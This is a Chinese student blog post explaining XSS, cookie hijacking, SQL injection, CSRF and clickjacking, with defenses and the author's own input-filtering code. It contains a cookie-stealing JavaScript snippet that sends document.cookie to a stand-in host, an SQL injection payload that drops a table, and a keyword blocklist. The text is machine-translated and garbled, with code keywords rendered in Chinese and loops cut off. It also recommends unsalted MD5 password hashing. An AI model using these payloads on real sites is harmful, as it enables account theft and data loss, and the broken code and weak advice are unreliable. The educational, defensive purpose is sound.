Web安全-前端JS表单验证过滤

前言之前忙于各种事情，好久没有写文章了。最近我接手的一个学校网站项目最近被自动脚本搞坏了（笑...），因为我们是第一次做这种线上项目，对一些网络安全知识完全不了解，所以就开始了紧急漏洞修复和保护措施。所以我就把最近学到的知识总结一下。目前本人水平有限，只能做一个初步的了解，希望一些刚入行，在网上做实际项目的同学可以提高警惕。原因安全小白作为本网站的项目组长，完全不知道这些安全隐患，组员也没有研究过，才造成这种情况，因为我们是在校大学生，实在是没空学习的时间。研究了这些，希望给还没有步入社会的初学者提个醒。对于网络上常见的攻击方法，我只简单提一下它的攻击原理和防范方法。具体实现和深入研究，请自行百度，因为只有真正需要用到的时候才会深入了解。这里我只针对网络安全新手。做好知识扫盲。因为博主接触最多的服务端语言是JAVA，所以例子都来自javaweb项目。跨站脚本攻击（XSS）虽然我们目前做的是一个小型的博客网站，但是以后无论是自己的博客还是实际的项目，都可以使用图片提供外部链接，方便管理。如果你的网站流量很高，一天几十万，几百万，我的天，这时候你考虑的不是服务器空间够不够大，而是惊人的并发数，只是请求html文件的链接（或其他）如果处理不过来，也没有额外的资源来读取图片，那么就干脆把图片保存在另一台服务器上，缓解主服务器的压力，于是图床诞生了。反射型XSS是诱导用户打开恶意链接，服务器将链接中参数的恶意代码渲染到页面，然后传递给用户浏览器执行，从而达到目的攻击。比如下面的链接：http://a.com/a.jsp?name=xssa.jsp将页面渲染成如下html：Helloxss这时候浏览器会弹出一个提示框。这是一种常用的方法。如果要防范的话，可以通过在后台写方法来拦截过滤这些非法或者冒犯性的字符。PersistentXSSPersistentXSS通过向服务器提交恶意代码并存储在服务器端，然后在用户访问相关内容时渲染到页面，达到攻击目的，危害性较大。例如，攻击者使用恶意JS代码编写博客。文章发布后，所有访问博文的用户都会执行这个恶意JS。这对于我们开发网站来说是比较不重要的，但是要小心攻击者会在你的网站中注入一些非法代码来达到这个目的。Cookie劫持Cookies一般会保存当前用户的登录凭证。如果能拿到，往往意味着可以直接进入用户账号。Cookie劫持也是最常见的XSS攻击。以上面的反射型XSS为例，可以这样操作：首先诱导用户打开以下链接：http://a.com/a.jsp?name=xss用户打开链接后，会加载b.js，并执行b.js中的代码。b.js中存放了如下JS代码：varimg=document.createElement("img");img.src="http://b.com/log?"+转义（文档.cookie）；文档.正文。附加子（img）；上面的代码会向b.com请求一张图片，但实际上是将当前页面的cookie发送给b.com的服务器。这样就完成了窃取cookie的过程。一个简单的防御Cookie劫持的方法是在Set-Cookie时加上HttpOnly标志，浏览器禁止JavaScript访问带有HttpOnly属性的Cookies。XSS防御输入检查检查输入数据。例如，用户名只能是字母和数字，邮箱地址必须是指定的格式。一定要在后台检查，否则数据可能会绕过前端检查，直接发送到服务器。一般前后端都会检查，这样前端就可以屏蔽大部分无效数据。对特殊字符进行编码或过滤，但由于不知道输出的上下文，可能会进行不恰当的过滤。最好在输出中具体情况处理。输出检查对呈现为HTML的内容执行HtmlEncode，对呈现为JavaScript的内容执行JavascriptEncode。您还可以使用一些进行XSS检查的开源项目。SQL注入SQL注入是经常听到的。它类似于XSS，是由用户提交的数据作为命令执行造成的。下面是一个SQL注入的例子：Stringsql="select*fromuserwhereusername='"+username+"'";如上面的SQL语句，如果用户提交的username参数为leo，则数据库执行的SQL为：select*fromuserwhereusername='leo'但如果用户提交的username参数为leo'；droptableuser–，则执行的SQL为：select*fromuserwhereusername='leo';droptableuser--'in查询完数据后，又进行了一次删表操作，后果非常严重。博主自己的网站主要是被SQL注入破坏，导致网站数据库损坏。防止SQL注入的最好方法是使用预编译语句，如下所示：Stringsql="select*fromuserwhereusername=?";PreparedStatementpstmt=conn.prepareStatement(sql);pstmt.setString(1,username);ResultSetresults=pstmt.executeQuery();不同的语言有不同的预编译方式，但是基本都可以处理。如果遇到无法使用的预编译方法，只能像防止XSS一样检查和编码参数。博主后面会贴出自己完美项目的检测代码，就是对网站可以提交数据的表单的输入进行SQL语句检测。Cross-siterequestforgery(CSRF)跨站请求伪造的英文全称是CrossSiteRequestForgery，因为攻击者可以获得操作所需的所有参数，然后在用户不知情的情况下构造一个伪造的请求.被执行。看下面的例子：如果a.com网站需要用户登录才能删除博客，删除博客的请求地址如下：GEThttp://a.com/blog/delete?id=1后用户登录a.com，打开http://b.com/b.html，内容如下：这时候，用户会在一个.com中发送http://a.com/blog/delete?id=1删除那个blog。CSRF防御验证码CSRF是在用户不知情的情况下构建的网络情境，验证码强制用户与应用进行交互，因此验证码可以很好的防止CSRF。但是您不能为所有请求都添加验证码。Referer检查检查请求头中的referer也有助于防止CSRF攻击，但服务器无法始终获得referer，浏览器可能出于安全或隐私原因不发送referer，因此不常用。相反，它在图片防盗链接中用得很多。AntiCSRFToken更多的是生成一个随机的token，在用户提交数据的时候提交，如果服务端比对不正确，就会拒绝操作。作为一种理解，一般来说前面的攻击已经过去了，才会引起这种攻击。点击劫持（ClickJacking）点击劫持就是在视觉上欺骗用户。攻击者使用透明iframe覆盖网页，诱使用户在网页上进行操作，但实际点击的是透明iframe页面。点击劫持扩展到很多攻击方式，包括图片叠加攻击、拖放劫持等。针对iframe攻击的点击劫持防御可以使用一个HTTP头：X-Frame-Options，它有三个可选值：DENY：禁止加载frame任何页面；SAMEORIGIN：只能加载同源页面的frame；ALLOW-FROM：您可以定义允许框架加载的页面地址。对于图片叠加攻击，注意使用XSS防范手段，防止HTML和JS注入。作为一种理解，一般来说前面的攻击已经过去了，才会引起这种攻击。我的方法前言我们负责的团队项目是为学校网站做的，所以所有涉及到用户输入的地方都在后台管理模块中，后台登录界面要做好一些防护措施。登录字符检测函数validate(value){varpattern=/[`~!@#$%^&*()_+<>?:"{},.\/;'[\]]/im;if(value===''||value===null)returnfalse;if(pattern.test(value)){alert("Illegalcharacters!");returnfalse;}returntrue;}functionfilterSqlStr(value){varstr="and,delete,or,exec,insert,select,union,update,count,*,',join,>,<";varsqlStr=str.split(',');varflag=true;对于(vari=0;i>>4&0xf];newStr[2*i+1]=hexDigits[temp&0xf];}返回新字符串（newStr）；}catch(NoSuchAlgorithmExceptione){返回空值；}}后台对管理员密码进行MD5加密后存入加密字段，前台在加密前的字段中输入后在后台进行方法验证，实现MD5加密登录，防止数据库密码被盗被曝光和质疑。加密后无法解密。后台添加和修改信息的字符检测和前端登录的检测方法是一样的，因为我只负责前端检测。如果黑客绕过了我的检测，就需要在后台检测数据中传递的值。这时候，就是后台人员了。已经在工作了。所以，这些字符检测必须在前台和后台进行，只是后台的责任稍微重一点，因为数据的最终流向是在后台的服务器端，前台只是做初步的保护。VerificationcodeandsliderverificationVerificationcodecharacterverification目前，验证码字符验证已经逐渐被引入舞台，但也有一些第三方平台专门提供此项验证服务。通过验证码字符的不断完善和更新，很难对一些攻击者仍然起到保护作用，但如果个人或企业网站仍然使用相同的验证方式，则很容易被攻击成功。很多初学者使用JS在前端浏览器客户端进行字符校验，容易被破解跳过。比较好的是在服务器上测试过的，但是经过长期的经验，一些黑客发明的一些工具还是可以破解的。这里提一下12306推出的图片验证，很多人反映不安全。攻击者可以直接对图片进行处理，丢进谷歌和百度的图片识别界面。返回值令人惊讶。第二张图我居然能认出来是沙县小吃。我觉得现在的人工智能图像识别技术非常强大，所以这种验证方式在短时间内会被淘汰，除非不断更新图片库。滑块验证滑块验证和12306图像识别验证是目前比较安全的验证方式。滑动验证的核心不是简单的拼接成功，所以也不是简单的计算offset的问题。滑动验证做得好的就是把你的滑动过程轨迹和服务端的海量样本进行对比，来区分人和机器。使用了很多深度学习技术。当然，市面上也有一些只需要前端拼接就可以通过的滑动验证。大家还需要多做研究。反正如果项目需要用到验证码，不能考虑只在客户端进行JS验证。在客户端进行JS校验的前提下，将数据返回给后台进行校验，大概率可以保证网站的安全。网站的攻防一直是一个永恒的话题。没有绝对的安全，也没有绝对的攻击。建议您多尝试网上第三方服务商提供的验证服务，省去研究验证漏洞和频繁更新验证方法的精力。End在学生时代第一次意识到网络安全的重要性，目前也只是初步了解。如果他以后了解更多，他会继续补充。hexo搭建博客的技术应该不会再有文章了。如果需要了解其他知识，有困难可以联系我或者在下方留言，然后看看能不能把情况整理成一篇文章重点解答和帮助别人。